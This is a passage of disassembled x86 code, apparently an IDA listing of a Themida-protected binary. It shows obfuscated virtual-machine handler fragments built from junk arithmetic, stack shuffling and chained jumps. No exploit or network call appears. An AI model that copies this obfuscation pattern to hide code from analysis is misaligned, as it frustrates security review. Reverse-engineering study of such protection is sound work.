		sub	edi, 3E9A0A32h
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edi
		push	ebx
		mov	ebx, 34A60310h
		mov	edi, 0D8E4034Ch
		jmp	loc_5614BC
; ---------------------------------------------------------------------------


loc_565DA1:				; CODE XREF: Themida_:00563C47j
		push	0
		sub	[esp], ch
		mov	ch, [esp]
		add	esp, 4
		push	edx
		mov	dh, 28h
		xor	ch, dh
		pop	edx
		jmp	loc_55E5D2
; ---------------------------------------------------------------------------


loc_565DBA:				; CODE XREF: Themida_:00568128j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_569D4B
; ---------------------------------------------------------------------------


loc_565DC3:				; CODE XREF: Themida_:00567C55j
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, eax
		push	ecx
		push	ebx
		jmp	loc_55F48C
; ---------------------------------------------------------------------------


loc_565DD2:				; CODE XREF: Themida_:0056C1DBj
		xchg	eax, ebp
		not	eax
		push	eax
		dec	dword ptr [esp]
		pop	eax
		not	eax
		push	edi
		mov	edi, 0C2C70F0Bh
		sub	eax, edi
		jmp	loc_56B6B9
; ---------------------------------------------------------------------------


loc_565DE9:				; CODE XREF: Themida_:0057251Ej
		or	ecx, 752E0613h
		not	ecx
		shl	ecx, 7
		or	ecx, 2337639Eh
		xor	ecx, 0F5CCC2Dh
		add	eax, ecx
		pop	ecx
		jmp	loc_55E889
; ---------------------------------------------------------------------------


loc_565E08:				; CODE XREF: Themida_:00571B52j
		pop	ecx
		jmp	loc_560D34
; ---------------------------------------------------------------------------


loc_565E0E:				; CODE XREF: Themida_:0056BA6Fj
		push	ebp
		mov	ebp, 50704561h
		jmp	loc_55DB22
; ---------------------------------------------------------------------------


loc_565E19:				; CODE XREF: Themida_:0056CB8Aj
		mov	ecx, 276F0CBDh
		xor	ecx, 75D75A64h
		not	ecx
		xchg	ebp, ecx
		jmp	loc_567A5F
; ---------------------------------------------------------------------------


loc_565E2D:				; CODE XREF: Themida_:005655F7j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 29037A35h
		add	ebp, 0D6FC85CFh
		sub	eax, 3B9A50E4h
		add	eax, ebp
		jmp	loc_56ADC9
; ---------------------------------------------------------------------------


loc_565E4E:				; CODE XREF: Themida_:005725B3j
		sub	ah, 2Fh
		sub	bl, ah
		jmp	loc_5636CE
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 20D454B6h
		add	eax, 363849C0h
		jmp	loc_571735
; ---------------------------------------------------------------------------


loc_565E68:				; CODE XREF: Themida_:005706D5j
		sub	al, bl
		push	ecx
		mov	cl, 0ECh
		jmp	loc_5632E2
; ---------------------------------------------------------------------------


loc_565E72:				; CODE XREF: Themida_:0056953Ej
		pop	ebx
		pop	ecx
		mov	cl, dh
		pop	edx
		jmp	loc_5662C1
; ---------------------------------------------------------------------------


loc_565E7C:				; CODE XREF: Themida_:0057259Dj
		add	[esp+4], eax
		add	dword ptr [esp+4], 222D189Fh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	ebx
		sub	ebx, 9B1183Eh
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_565E9B:				; CODE XREF: Themida_:0055DAEDj
		mov	ebp, 6AF30018h
		and	esi, ebp
		pop	ebp
		jmp	loc_561830
; ---------------------------------------------------------------------------


loc_565EA8:				; CODE XREF: Themida_:00565509j
		mov	[esp+2], dl
		pop	dx
		not	al
		jmp	loc_55E7D0
; ---------------------------------------------------------------------------


loc_565EB5:				; CODE XREF: Themida_:0056C2C7j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_560A7F
; ---------------------------------------------------------------------------


loc_565EE1:				; CODE XREF: Themida_:00564CFEj
		dec	ebx
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ebx, 6F681F11h
		add	ebx, edi
		jmp	loc_566CCC
; ---------------------------------------------------------------------------


loc_565EF5:				; CODE XREF: Themida_:0056C169j
		xor	esi, ebx
		pop	ebx
		xchg	ecx, esi
		push	ebx
		jmp	loc_55D84C
; ---------------------------------------------------------------------------


loc_565F00:				; CODE XREF: Themida_:0055E7E2j
		pop	edi
		push	eax
		mov	eax, 1273478Bh
		add	eax, 0ED8CB879h
		sub	ebx, 38926E2Ch
		add	ebx, eax
		jmp	loc_56F419
; ---------------------------------------------------------------------------


loc_565F19:				; CODE XREF: Themida_:005623DFj
		sub	ebx, ebp
		jmp	loc_56645B
; ---------------------------------------------------------------------------


loc_565F20:				; CODE XREF: Themida_:0055EBEAj
		add	bx, 62A4h
		jmp	loc_56A6CF
; ---------------------------------------------------------------------------


loc_565F2A:				; CODE XREF: Themida_:0056B7D7j
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_571B12
; ---------------------------------------------------------------------------


loc_565F36:				; CODE XREF: Themida_:0056A21Fj
		pop	ebx
		add	edi, 0FDF07235h
		sub	ebx, 5500444h
		add	ebx, edi
		push	edi
		mov	edi, 5500444h
		add	ebx, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_563927
; ---------------------------------------------------------------------------


loc_565F61:				; CODE XREF: Themida_:0055E44Aj
		sub	cl, 1
		push	edx
		mov	dl, 17h
		and	dl, 1Ch
		shl	dl, 8
		or	dl, 71h
		jmp	loc_568312
; ---------------------------------------------------------------------------


loc_565F75:				; CODE XREF: Themida_:0055DF21j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5706F4
; ---------------------------------------------------------------------------


loc_565F86:				; CODE XREF: Themida_:00571595j
		add	esp, 4
		push	eax
		push	edx
		mov	edx, 0DD01063h
		jmp	loc_5655FC
; ---------------------------------------------------------------------------


loc_565F98:				; CODE XREF: Themida_:00569511j
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_56E824
; ---------------------------------------------------------------------------


loc_565FB8:				; CODE XREF: Themida_:0055E7C0j
		not	dword ptr [esp]
		pop	esi
		push	ecx
		push	2FB8h
		mov	[esp], ebx
		mov	ebx, 25EC01F7h
		mov	ecx, 6CFD655Ah
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	esi, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55F104
; ---------------------------------------------------------------------------


loc_565FE7:				; CODE XREF: Themida_:00567864j
		pop	edx
		push	eax
		push	ecx
		jmp	loc_56A07E
; ---------------------------------------------------------------------------
		lodsb
		add	al, 3Fh
		push	edx
		mov	dl, 0E0h
		shl	dl, 4
		inc	dl
		sub	dl, 0FAh
		xor	dl, 53h
		sub	al, dl
		pop	edx
		push	edx
		mov	dl, 16h
		add	dl, 32h
		add	al, 0A2h
		sub	al, dl
		jmp	loc_5620C8
; ---------------------------------------------------------------------------


loc_566012:				; CODE XREF: Themida_:00563877j
		add	esp, 4
		jmp	loc_56E275
; ---------------------------------------------------------------------------


loc_56601D:				; CODE XREF: Themida_:00563D41j
		push	0CF4h
		mov	[esp], ebx
		push	5E26C20h
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		inc	ebx
		push	edi
		mov	edi, 0FA1D93DEh
		sub	ebx, 96A75B4h
		sub	ebx, edi
		add	ebx, 96A75B4h
		pop	edi
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566062:				; CODE XREF: Themida_:0056926Ej
		push	dword ptr [esp]
		pop	esi
		jmp	loc_571830
; ---------------------------------------------------------------------------


loc_56606B:				; CODE XREF: Themida_:0056894Cj
		push	ebx
		push	570848F8h
		pop	ebx
		dec	ebx
		not	ebx
		shl	ebx, 5
		sub	ebx, 17E1762Dh
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 482308AFh
		xor	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 0AAD3635h
		neg	esi
		inc	esi
		add	esi, 4A741AD2h
		jmp	loc_55E303
; ---------------------------------------------------------------------------


loc_5660A3:				; CODE XREF: Themida_:005701F4j
		push	esp
		pop	edx
		push	ebx
		push	ebp
		mov	ebp, 5BDA47A6h
		mov	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_563215
; ---------------------------------------------------------------------------


loc_5660B6:				; CODE XREF: Themida_:00560702j
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_57063B
; ---------------------------------------------------------------------------


loc_5660CB:				; CODE XREF: Themida_:00566A05j
		add	eax, 5E5672BEh
		mov	ebx, [esp]
		add	esp, 4
		push	2DCh
		jmp	loc_5707B4
; ---------------------------------------------------------------------------


loc_5660E0:				; CODE XREF: Themida_:0056B6C6j
		push	esi
		mov	esi, 4EA672Bh
		xor	ebp, esi
		pop	esi
		jmp	loc_569FA3
; ---------------------------------------------------------------------------


loc_5660EE:				; CODE XREF: Themida_:0056DDCAj
		pop	esp
		not	ebp
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		not	ebx
		jmp	loc_56064D
; ---------------------------------------------------------------------------


loc_5660FE:				; CODE XREF: Themida_:00561705j
		mov	ecx, 27D8740Ch
		jmp	loc_571CA7
; ---------------------------------------------------------------------------


loc_566108:				; CODE XREF: Themida_:0056E002j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6DDAh
		mov	[esp], edi
		push	4EEEh
		push	45Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E978
; ---------------------------------------------------------------------------


loc_56613F:				; CODE XREF: Themida_:00560EB2j
		push	esi
		jmp	loc_5616EC
; ---------------------------------------------------------------------------


loc_566145:				; CODE XREF: Themida_:0056D9DBj
		pop	esp
		jmp	loc_5630D6
; ---------------------------------------------------------------------------


loc_56614B:				; CODE XREF: Themida_:005689F6j
		push	dword ptr [esp]
		jmp	loc_5616E3
; ---------------------------------------------------------------------------


loc_566153:				; CODE XREF: Themida_:0055D5B2j
		shr	ebx, 2
		add	ebx, 34D77EEAh
		jmp	loc_56B5A9
; ---------------------------------------------------------------------------


loc_566161:				; CODE XREF: Themida_:0055ECD3j
		mov	[esp], ecx
		mov	ecx, 0
		push	esi
		mov	esi, 1C4A60F9h
		shr	esi, 3
		add	esi, 68576107h
		jmp	loc_56306B
; ---------------------------------------------------------------------------


loc_56617D:				; CODE XREF: Themida_:0055EB60j
		mov	ebp, ebx
		pop	ebx
		shl	ebp, 1
		not	ebp
		neg	ebp
		add	ebp, 617A59B9h
		shr	ebp, 4
		push	esi
		mov	esi, 9055755h
		inc	esi
		push	ebp
		mov	ebp, 0EA8162CEh
		jmp	loc_570FD4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56FBE8
; ---------------------------------------------------------------------------


loc_5661AA:				; CODE XREF: Themida_:0056AE81j
		mov	eax, [esp]
		jmp	loc_571B62
; ---------------------------------------------------------------------------


loc_5661B2:				; CODE XREF: Themida_:00568904j
		add	eax, 4
		add	eax, 2
		jmp	loc_56D69F
; ---------------------------------------------------------------------------


loc_5661BF:				; CODE XREF: Themida_:0056E8BCj
		add	edx, edi
		pop	edi
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		jmp	loc_55D459
; ---------------------------------------------------------------------------


loc_5661D0:				; CODE XREF: Themida_:0056A0DDj
		sub	esp, 4
		jmp	loc_566EA9
; ---------------------------------------------------------------------------


loc_5661D8:				; CODE XREF: Themida_:0056AF3Dj
		shl	edi, 1
		dec	edi
		shl	edi, 1
		and	edi, 0A4C388Bh
		sub	edi, 0C1806h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	7F1Dh
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_560256
; ---------------------------------------------------------------------------


loc_566214:				; CODE XREF: Themida_:00566278j
		add	esp, 4


loc_566217:				; CODE XREF: Themida_:0055D5A0j
		push	3B08h
		mov	[esp], eax
		jmp	loc_569D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_566224:				; CODE XREF: sub_562A0A+A98Fj
		or	cl, 74h
		neg	cl
		dec	cl
		jmp	loc_561CF8
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_566230:				; CODE XREF: Themida_:005713B9j
		pop	edx
		add	dh, 0FAh
		jmp	loc_568449
; ---------------------------------------------------------------------------


loc_566239:				; CODE XREF: Themida_:0056C712j
		mov	edx, 24h
		jmp	loc_560963
; ---------------------------------------------------------------------------


loc_566243:				; CODE XREF: Themida_:00560409j
		sub	eax, 4A9527BBh
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 33C067Fh
		add	eax, ebp
		sub	eax, 33C067Fh
		push	dword ptr [esp]
		jmp	loc_56B99E
; ---------------------------------------------------------------------------


loc_566262:				; CODE XREF: Themida_:005634E5j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_566214
; ---------------------------------------------------------------------------


loc_56627D:				; CODE XREF: Themida_:0056E050j
		pop	ecx
		add	esi, ebp
		pop	ebp
		push	3AEFh
		mov	[esp], ecx
		push	438Ah
		mov	[esp], ebx
		jmp	loc_56237E
; ---------------------------------------------------------------------------


loc_566296:				; CODE XREF: Themida_:00564767j
		neg	edx
		sub	edx, 336375BAh
		jmp	loc_56A7C4
; ---------------------------------------------------------------------------


loc_5662A3:				; CODE XREF: Themida_:0056C535j
		push	esi
		mov	esi, 66DE48F5h
		not	esi
		sub	esi, 262008CCh
		jmp	loc_571F66
; ---------------------------------------------------------------------------


loc_5662B6:				; CODE XREF: Themida_:0055FBFCj
		sub	edi, 534901BEh
		jmp	loc_570094
; ---------------------------------------------------------------------------


loc_5662C1:				; CODE XREF: Themida_:00565E77j
		push	edx
		push	eax
		mov	al, cl
		mov	dh, al
		pop	eax
		jmp	loc_57292D
; ---------------------------------------------------------------------------


loc_5662CD:				; CODE XREF: Themida_:00571099j
		sub	eax, 9618C076h
		sub	edx, eax
		pop	eax
		sub	ecx, 30245DD1h
		add	ecx, edx
		jmp	loc_55EE72
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561C49
; ---------------------------------------------------------------------------
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, eax
		sub	esp, 4
		jmp	loc_56F0F0
; ---------------------------------------------------------------------------


loc_566316:				; CODE XREF: Themida_:00569466j
		mov	esi, 1E441A58h
		and	ebx, esi
		mov	esi, [esp]
		jmp	loc_55E44F
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56632C:				; CODE XREF: Themida_:0056A10Cj
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2
		jmp	loc_567616
; ---------------------------------------------------------------------------


loc_56633E:				; CODE XREF: Themida_:0055F7C3j
		sub	ecx, 2EC36A97h
		pop	edi
		jmp	loc_56335C
; ---------------------------------------------------------------------------


loc_56634A:				; CODE XREF: Themida_:00564E7Ej
		mov	[esp], ebx
		push	221h
		mov	[esp], edx
		mov	edx, 28671F69h
		jmp	loc_56E103
; ---------------------------------------------------------------------------


loc_56635F:				; CODE XREF: Themida_:00561085j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5692CD
; ---------------------------------------------------------------------------


loc_56636A:				; CODE XREF: Themida_:0056DB9Ej
		mov	esi, 44C87612h
		sub	esi, 0CFF507Bh
		jmp	loc_568B66
; ---------------------------------------------------------------------------


loc_56637A:				; CODE XREF: Themida_:0055F386j
		pop	esi
		pop	edi
		pop	edi
		inc	esi
		push	edx
		mov	edx, 5E2B79BDh
		sub	esi, 372562Ch
		add	esi, edx
		add	esi, 372562Ch
		pop	edx
		jmp	loc_5638F5
; ---------------------------------------------------------------------------


loc_566398:				; CODE XREF: Themida_:00569B04j
		mov	edx, [esp]
		jmp	loc_567BED
; ---------------------------------------------------------------------------


loc_5663A0:				; CODE XREF: Themida_:0055DD65j
		pop	edx
		xor	edx, 3DC45BEEh
		add	edx, 0DC160155h
		mov	edi, edx
		pop	edx
		xor	esi, edi
		pop	edi
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56440B
; ---------------------------------------------------------------------------


loc_5663C0:				; CODE XREF: Themida_:0056A129j
		pop	ecx
		add	ecx, 72D76FE3h
		pop	ebp
		push	ebx
		mov	ebx, 12C01612h
		neg	ebx
		jmp	loc_5612EE
; ---------------------------------------------------------------------------


loc_5663D5:				; CODE XREF: Themida_:005682D1j
		or	ebx, 29C5018Fh
		jmp	loc_56975F
; ---------------------------------------------------------------------------


loc_5663E0:				; CODE XREF: Themida_:0056ABE5j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	743Eh
		mov	[esp], esp
		jmp	loc_564D4C
; ---------------------------------------------------------------------------


loc_5663F4:				; CODE XREF: Themida_:005680FBj
		mov	edx, esp
		push	2956h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_56F2C4
; ---------------------------------------------------------------------------


loc_56641E:				; CODE XREF: Themida_:00567DE9j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 224622Fh
		add	eax, 6FB138B9h
		or	eax, 120D550Fh
		neg	eax
		xor	eax, 8C222015h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55FE8E
; ---------------------------------------------------------------------------


loc_566453:				; CODE XREF: Themida_:00561B4Bj
		add	esp, 4
		jmp	loc_56C77F
; ---------------------------------------------------------------------------


loc_56645B:				; CODE XREF: Themida_:00565F1Bj
		pop	ebp
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, edi
		pop	edi
		jmp	loc_55D621
; ---------------------------------------------------------------------------


loc_56646C:				; CODE XREF: Themida_:0057171Aj
		mov	eax, 4
		jmp	loc_564C09
; ---------------------------------------------------------------------------


loc_566476:				; CODE XREF: Themida_:0056E87Aj
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 6138532Bh
		add	eax, 12485B84h
		add	eax, ebp
		jmp	loc_56CFEC
; ---------------------------------------------------------------------------


loc_56648C:				; CODE XREF: Themida_:00568B80j
		mov	edi, 1Ch
		jmp	loc_56EDAF
; ---------------------------------------------------------------------------


loc_566496:				; CODE XREF: Themida_:00566EC7j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56649F:				; CODE XREF: Themida_:0055D3EEj
		pop	ebp
		xor	esi, 5F18700Ah
		add	esi, 0F7CBE5FAh
		add	edi, esi
		pop	esi
		sub	edi, 66CA74BEh
		jmp	loc_56C952
; ---------------------------------------------------------------------------


loc_5664BA:				; CODE XREF: Themida_:00571563j
		pop	ebx
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_56E308
; ---------------------------------------------------------------------------


loc_5664C6:				; CODE XREF: Themida_:0056D387j
		mov	ebx, edx
		pop	edx
		xor	ebx, 6E1741A0h
		push	2E38h
		mov	[esp], edi
		push	eax
		push	ebp
		mov	ebp, 31F56A2Dh
		mov	eax, ebp
		pop	ebp
		mov	edi, eax
		jmp	loc_565A69
; ---------------------------------------------------------------------------


loc_5664E8:				; CODE XREF: Themida_:0056214Aj
		xor	edi, 59F610D3h
		shr	edi, 4
		add	edi, 0F20A554Bh
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55E865
; ---------------------------------------------------------------------------


loc_566509:				; CODE XREF: Themida_:005678D2j
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	22E8h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_569D88
; ---------------------------------------------------------------------------


loc_56653F:				; CODE XREF: Themida_:0056F25Fj
		add	esp, 4
		jmp	loc_56ABF9
; ---------------------------------------------------------------------------


loc_566547:				; CODE XREF: Themida_:0055F397j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566560:				; CODE XREF: Themida_:00564A15j
		xchg	edx, [esp]
		mov	esp, [esp]
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566575:				; CODE XREF: Themida_:0056E2E5j
		or	edx, 1AEA55F3h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7B100B49h
		jmp	loc_566FB8
; ---------------------------------------------------------------------------


loc_56658E:				; CODE XREF: Themida_:0056B371j
		add	ebp, 4
		jmp	loc_55E6FF
; ---------------------------------------------------------------------------


loc_566599:				; CODE XREF: Themida_:005698C1j
		shr	ecx, 2
		jmp	loc_55FE52
; ---------------------------------------------------------------------------


loc_5665A1:				; CODE XREF: Themida_:0056707Ej
		pop	esi
		push	ebp
		mov	ebp, 5541796Eh
		jmp	loc_560C86
; ---------------------------------------------------------------------------


loc_5665AD:				; CODE XREF: Themida_:0055D4ABj
		mov	[esp], ebx
		push	72EE39FAh
		pop	ebx
		shl	ebx, 7
		dec	ebx
		neg	ebx
		jmp	loc_569071
; ---------------------------------------------------------------------------


loc_5665C1:				; CODE XREF: Themida_:00566D02j
		mov	eax, 34DE0B98h
		shl	eax, 7
		and	eax, 58E2527Ah
		xor	eax, 7C2175Bh
		add	ebx, eax
		pop	eax
		push	ecx
		push	edx
		mov	edx, 75B55A68h
		and	edx, 7DA85183h
		add	edx, 0FDD9F263h
		mov	ecx, edx
		pop	edx
		sub	ebx, ecx
		pop	ecx
		jmp	loc_563D6E
; ---------------------------------------------------------------------------


loc_5665F4:				; CODE XREF: Themida_:0055F22Ej
		mov	[esp], esi
		mov	esi, 57CC7A92h
		jmp	loc_5639BF
; ---------------------------------------------------------------------------


loc_566601:				; CODE XREF: Themida_:00569E3Cj
		sub	edx, 0EDA7FD46h
		add	ebx, 3817556h
		sub	ebx, 54AC636Eh
		jmp	loc_56565B
; ---------------------------------------------------------------------------


loc_566618:				; CODE XREF: Themida_:00563FAEj
		add	eax, ebp
		jmp	loc_564523
; ---------------------------------------------------------------------------


loc_56661F:				; CODE XREF: Themida_:0056B1EFj
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 24h
		add	esi, 741045EFh
		add	esi, ecx
		push	eax
		mov	eax, 741045EFh
		push	eax
		mov	eax, 607B568Ch
		sub	esi, eax
		pop	eax
		push	5581h
		mov	[esp], ebx
		jmp	loc_55FA8A
; ---------------------------------------------------------------------------


loc_566650:				; CODE XREF: Themida_:005668CCj
		add	al, 6Bh
		add	al, bl
		sub	al, 6Bh
		jmp	loc_56E4BD
; ---------------------------------------------------------------------------


loc_56665B:				; CODE XREF: Themida_:00564400j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	7BF5h
		jmp	loc_560481
; ---------------------------------------------------------------------------


loc_56666B:				; CODE XREF: Themida_:0056075Aj
		xchg	edx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 4
		sub	edx, 7D42425Ch
		add	edx, eax
		add	edx, 7D42425Ch
		mov	eax, [esp]
		push	40F3h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56C590
; ---------------------------------------------------------------------------


loc_5666A6:				; CODE XREF: Themida_:00563607j
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_563808
; ---------------------------------------------------------------------------


loc_5666B3:				; CODE XREF: Themida_:0056C6D9j
		push	edx
		mov	edx, 6DF90960h
		shr	edx, 6
		shl	edx, 8
		or	edx, 4FFA52BAh
		sub	edx, 0F0D43C77h
		add	esi, edx
		pop	edx
		xor	esi, 5BDE18A2h
		inc	esi
		xor	esi, 2B515BB0h
		dec	esi
		push	36DEh
		mov	[esp], ebp
		jmp	loc_55FC29
; ---------------------------------------------------------------------------


loc_5666E9:				; CODE XREF: Themida_:0056AF77j
		sub	bl, ah
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 3E971D2h
		jmp	loc_56DF8B
; ---------------------------------------------------------------------------


loc_566703:				; CODE XREF: Themida_:00560CB9j
		add	ebp, 78697F01h
		dec	ebp
		add	ebp, 73635F8Fh
		xor	ebp, 27598164h
		sub	eax, 77B56F79h
		add	eax, ebp
		jmp	loc_56AA01
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		push	ebx
		mov	ebx, 5AAA3C9Ch
		jmp	loc_55D806
; ---------------------------------------------------------------------------


loc_566735:				; CODE XREF: Themida_:0056CCB8j
		push	ecx
		push	edx
		mov	edx, 7E8F31C2h
		push	edx
		pop	ecx
		pop	edx
		xor	edx, ecx
		pop	ecx
		jmp	loc_570CE4
; ---------------------------------------------------------------------------


loc_566747:				; CODE XREF: Themida_:00563197j
		mov	[esp], edx
		mov	edx, 1FC22130h
		neg	edx
		dec	edx
		inc	edx
		jmp	loc_56F575
; ---------------------------------------------------------------------------


loc_566758:				; CODE XREF: Themida_:005711FFj
		add	ecx, 75023084h
		add	ecx, ebx
		sub	ecx, 75023084h
		mov	ebx, [esp]
		push	ebx
		jmp	loc_55E2BF
; ---------------------------------------------------------------------------


loc_56676F:				; CODE XREF: Themida_:00569AFDj
		push	ebx
		push	esp
		jmp	loc_571BA0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56677E:				; CODE XREF: Themida_:00567185j
		shl	eax, 6
		or	eax, 54A4260Eh
		and	eax, 341D0972h
		shl	eax, 2
		and	eax, 6970544Bh
		add	eax, 15225916h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, edi
		jmp	loc_56CA56
; ---------------------------------------------------------------------------


loc_5667A7:				; CODE XREF: Themida_:0056C9EBj
		mov	eax, [esp]
		add	esp, 4
		mov	edx, eax
		pop	eax
		pop	ebp
		mov	eax, edx
		push	dword ptr [esp]
		jmp	loc_561F44
; ---------------------------------------------------------------------------


loc_5667BB:				; CODE XREF: Themida_:00560904j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_56EA65
; ---------------------------------------------------------------------------


loc_5667CD:				; CODE XREF: Themida_:00566F54j
		mov	dh, 0Eh
		sub	dh, 0E8h
		sub	al, 0B7h
		sub	al, dh
		push	bx
		push	7844h
		mov	[esp], edx
		mov	dh, 0B7h
		mov	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	dx
		push	ecx
		mov	cl, 57h
		sub	cl, 0FCh
		jmp	loc_56FC53
; ---------------------------------------------------------------------------


loc_5667FA:				; CODE XREF: Themida_:005602C5j
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_567DC3
; ---------------------------------------------------------------------------


loc_566808:				; CODE XREF: Themida_:0056BE44j
		push	ebp
		jmp	loc_5682AF
; ---------------------------------------------------------------------------


loc_56680E:				; CODE XREF: Themida_:00564F80j
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_566F1A
; ---------------------------------------------------------------------------


loc_566826:				; CODE XREF: Themida_:00571F50j
		add	ebx, 3CA826DAh
		jmp	loc_56FCD0
; ---------------------------------------------------------------------------


loc_566831:				; CODE XREF: Themida_:00568D34j
		mov	[esp], ebp
		jmp	loc_564FE6
; ---------------------------------------------------------------------------


loc_566839:				; CODE XREF: Themida_:0056BFC4j
		sub	edx, edi
		sub	edx, 41AF1363h
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5647E7
; ---------------------------------------------------------------------------


loc_56684B:				; CODE XREF: Themida_:005727C0j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56F465
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5637AB
; ---------------------------------------------------------------------------


